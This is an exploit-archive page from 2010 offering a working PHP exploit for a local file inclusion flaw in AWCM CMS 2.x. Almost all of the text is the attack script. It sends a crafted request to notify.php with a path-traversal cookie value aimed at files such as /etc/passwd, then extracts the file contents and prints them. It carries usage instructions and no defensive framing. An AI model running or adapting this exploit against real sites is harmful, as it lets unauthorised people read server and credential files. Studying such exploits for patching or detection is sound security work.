AWCM CMS Local File Inclusion Vulnerability
Posted on 10 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>AWCM CMS Local File Inclusion Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================== AWCM CMS Local File Inclusion Vulnerability =========================================== # Software Link: http://www.awcm-cms.com/ # Version: 2.x # Tested on: Lunix Exploit : <?php print(" ------------------------------------------------------------ | Awcm Cms Local File Inclusion Vulnerability | By SwEET-DeViL | x0.root(at)gmail.com | example | | Exploit.php ".$argv[0]." example.com /path/ ../../../../../../../../etc/passwd ------------------------------------------------------------ "); $host =$argv[1];//; $Path = "http://".$host.$argv[2]; $CURL_in ="GET ".$Path."/notify.php?v=a HTTP/1.0 "; $CURL_in.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) "; $CURL_in.="Pragma: no-cache "; $CURL_in.="Cookie: awcm_lang=".$argv[3].""."; "; $CURL_in.="Connection: Close "; if ( empty($argv[3]) ){ echo " [-] Error : Exploit failed "; die; } $FoN = @fsockopen($host, 80); if(!$FoN){ echo " [-] Error : Can't connect to ".$host." !! "; die; } fputs($FoN, $CURL_in); while (!feof($FoN)) $data .= fread($FoN, 1024); fclose($FoN); $error_1 = strstr( $data, "HTTP/1.1 404 Not Found" ); if ( !empty($error_1) ){ echo " [-] Error : 404 Not Found. "; die; } $error_2 = strstr( $data, "HTTP/1.1 406 Not Acceptable" ); if ( !empty($error_2) ){ echo " [-] Error : 406 Not Acceptable. "; die; } $EXc = explode("</head>",$data); $EXx = explode("<head>",$EXc[1]); $CODE = strip_tags($EXx[0]); $CODE2 = preg_replace("/ | /",'',$CODE); $CODE2 = trim($CODE2); if (empty($CODE2)){ print (' [-] Error : Sorry! File not Found '); }else{ print (' [+] ------------------------------------------------------------ ').$CODE2; print (' ------------------------------------------------------------ '); } ?> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-10]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>